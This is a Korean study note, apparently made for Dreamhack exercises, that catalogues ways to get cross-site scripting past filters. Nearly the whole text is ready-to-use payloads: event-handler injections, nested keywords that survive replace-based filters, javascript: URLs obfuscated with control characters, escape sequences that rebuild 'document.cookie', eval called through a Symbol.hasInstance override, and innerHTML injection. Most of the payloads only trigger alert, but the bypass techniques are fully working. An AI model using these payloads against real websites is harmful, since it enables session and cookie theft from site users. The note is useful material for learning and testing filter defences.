XSS 공격 우회
onload 이벤트 핸들러
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<img src="about:invalid" onload="alert(document.domain)">
onerror 이벤트 핸들러
<img src="valid.jpg" onerror="alert(document.domain)">
<img src="about:invalid" onerror="alert(document.domain)">
onfocus 이벤트 핸들러
- 커서 클릭시 실행되는 이벤트, input의 autofocus 사용 혹은 #inputID를 통해 포커스 되도록 함.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
문자열 치환
- 치환되는것으로 의심되는 문자열에 치환될 문자열을 집어넣어 우회할수 있다.
- EX. script -> scriscriptpt
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
- 문자열에 변화가 없을때까지 치환하는 방법을 쓰기도 한다.
활성 하이퍼링크
- URL에 활성 콘텐츠를 포함할수 있다.
- javascript: 스키마는 URL 로드시 자바스크립트 코드를 실행하게 한다.
<a href="javascript:alert(document.domain)">Click me!</a>
- 이를 우회하기 위해 정규화를 사용할수 있다.
- 정규화 : URL을 통일된 형태로 변환, \x01, \x04, \t 와 같은 특분들이 제거되고 대소문자가 통일됨
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
태그 / 속성 기반 필터링
- 대소문자 검사가 이루어지지 않을시 이를 섞어 쓸수 있다.
Unicode Escape Sequence
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
대체 키워드 목록
기타 키워드
- " 및 ' 가 필터링 될 시 백틱 ( ` ) 을 사용할수 있다.
- RegExp 객체를 이용한다.
/Hello World!/.source;
- String.fromCharCode 를 쓸수도 있다.
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
함수호출 우회
- 함수호출은 소괄호 혹은 백틱을 사용할수도 있다.
alert(1); // Parentheses
alert`1`; // Tagged Templates
- javasript 스키마 사용해 location 변경
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
- \x28 : 여는 소괄호, \x29 : 닫는 소괄호
- Symbol.hasInstance 오버라이딩
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
- document.body.innerHTML 추가
- 문서 내에 새로운 코드를 추가하고 이벤트 핸들러를 통해 실행
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";